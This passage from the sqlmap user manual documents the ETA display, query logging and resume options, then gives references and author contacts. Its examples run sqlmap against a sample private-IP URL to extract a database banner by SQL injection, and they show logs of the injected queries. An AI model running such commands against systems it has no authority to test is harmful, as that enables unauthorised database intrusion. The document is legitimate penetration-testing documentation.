Command line option: `-eta`

If you want sqlmap to calculate and show the estimated time of arrival of each query output in real time while performing the SQL injection attack, just provide `-eta` command line option.

For instance, let's get the remote DBMS banner calculating the ETA:

```
$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --banner --eta

37% [====================>                                    ] 9/26  ETA 00:01
```

then:

```
100% [============================================================] 26/26
banner:    '5.0.38-Ubuntu_0ubuntu1.1-log'
```

2.31 Save all data retrieved on a text file

Command line option: `-o`

It is possible to log all queries and their output on a text file while performing whatever request, both in blind SQL injection and inband SQL injection. This is useful if you have to stop the injection and resume it after some time with the `-resume` option.

For instance we want to retrieve the remote DBMS banner and save its value on a text file:

```
$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -b -o "sqlmap.log"

[...]
[hh:mm:09] [INFO] fetching banner
[hh:mm:09] [INFO] query: VERSION()
[hh:mm:09] [INFO] retrieved: 5.0.30-Debian_3-log
[hh:mm:11] [INFO] performed 139 queries in 1 seconds
banner:    '5.0.38-Ubuntu_0ubuntu1.1-log'
```

Now if you take a look at the file `sqlmap.log` you will see something like this:

```
$ cat ./sqlmap.log

[hh:mm:07 MM/DD/YY]
http://192.168.1.47/page.php?id=1&cat=2][CONCAT('6', '6')][66
http://192.168.1.47/page.php?id=1&cat=2][LENGTH('6')][1
http://192.168.1.47/page.php?id=1&cat=2][SELECT 6 FROM information_schema.tables LIMIT 0, 1][6
http://192.168.1.47/page.php?id=1&cat=2][VERSION()][5.0.38-Ubuntu_0ubuntu1.1-log
```

As you can see, all queries performed and their output has been logged to the file.

2.32 Resume queries value from a text file

Command line option: `-r` or `-resume`

This option depends on the logging functionality (`-o`) because you have to provide the text file to resume queries from.

Assuming for instance that you have into the file `sqlmap.log` something like this:

```
$ cat ./sqlmap.log

[hh:mm:07 MM/DD/YY]
http://192.168.1.47/page.php?id=1&cat=2][CONCAT('6', '6')][66
http://192.168.1.47/page.php?id=1&cat=2][LENGTH('6')][1
http://192.168.1.47/page.php?id=1&cat=2][SELECT 6 FROM information_schema.tables LIMIT 0, 1][6
http://192.168.1.47/page.php?id=1&cat=2][VERSION()][5.0.45-Deb
```

If you want to resume the remote DBMS banner value, just use the `-resume` as follows:

```
$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 --banner -o "sqlmap.log" --resume

[...]
[hh:mm:13] [INFO] fetching banner
[hh:mm:13] [INFO] query: VERSION()
[hh:mm:13] [INFO] retrieved the length of query: 26
[hh:mm:13] [INFO] resumed from file 'sqlmap.log': 5.0.45-Deb
[hh:mm:13] [INFO] retrieved: ian_1ubuntu3-log
banner:    '5.0.45-Debian_1ubuntu3-log'
```

As you can see, sqlmap first retrieved the banner query output length, then it retrieved only the missing part of the query and looking at the log file you will see something like this:

```
$ cat ./sqlmap.log

[hh:mm:07 MM/DD/YY]
http://192.168.1.47/page.php?id=1&cat=2][CONCAT('6', '6')][66
http://192.168.1.47/page.php?id=1&cat=2][LENGTH('6')][1
http://192.168.1.47/page.php?id=1&cat=2][SELECT 6 FROM information_schema.tables LIMIT 0, 1][6
http://192.168.1.47/page.php?id=1&cat=2][VERSION()][5.0.45-Deb

[hh:mm:11 MM/DD/YY]
http://192.168.1.47/page.php?id=1&cat=2][CONCAT('3', '3')][33
http://192.168.1.47/page.php?id=1&cat=2][LENGTH('3')][1
http://192.168.1.47/page.php?id=1&cat=2][SELECT 3 FROM information_schema.tables LIMIT 0, 1][3
http://192.168.1.47/page.php?id=1&cat=2][VERSION()][5.0.45-Debian_1ubuntu3-log
```

If you perform the same request now, sqlmap will resume the entire query output from the file, because its logged length is the same of the remote DBMS banner length:

```
$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 --banner -o "sqlmap.log" --resume

[...]
[hh:mm:45] [INFO] fetching banner
[hh:mm:45] [INFO] query: VERSION()
[hh:mm:45] [INFO] retrieved the length of query: 26
[hh:mm:46] [INFO] read from file 'sqlmap.log': 5.0.45-Debian_1ubuntu3-log
banner:    '5.0.45-Debian_1ubuntu3-log'
```

3 References

Books and guides

- Professional Pen Testing for Web Applications - Andres Andreu
- The Database Hacker's Handbook: Defending Database Servers - David Litchfield, Chris Anley, John Heasman, Bill Grindlay
- OWASP Testing Guide - OWASP Foundation

White papers, slides and cheat sheets

- Blind SQL Injection - Kevin Spett
- Hackproofing MySQL - Chris Anley
- Data-Mining With SQL Injection and Inference - David Litchfield
- Advanced SQL Injection in SQL Server Applications - Chris Anley
- (more) Advanced SQL Injection - Chris Anley
- SQL Injection - Kevin Spett
- Microsoft SQL Server Passwords (Cracking the password hashes) - David Litchfield

- Advanced SQL Injection - Victor Chapela
- SQL Injection Cheat Sheet - Ferruh Mavituna
- SQL Injection Cheat Sheet - David Kierznowski

Sites

- Open Web Application Security Project
- Web Application Security Consortium
- Database Security
- The Python Programming Language

4 Contacts

Feel free to contact us for comments, suggestions, bug reports and patches.

- Bernardo Damele (inquis) - maintainer
- Daniele Bellucci (belch) - initial author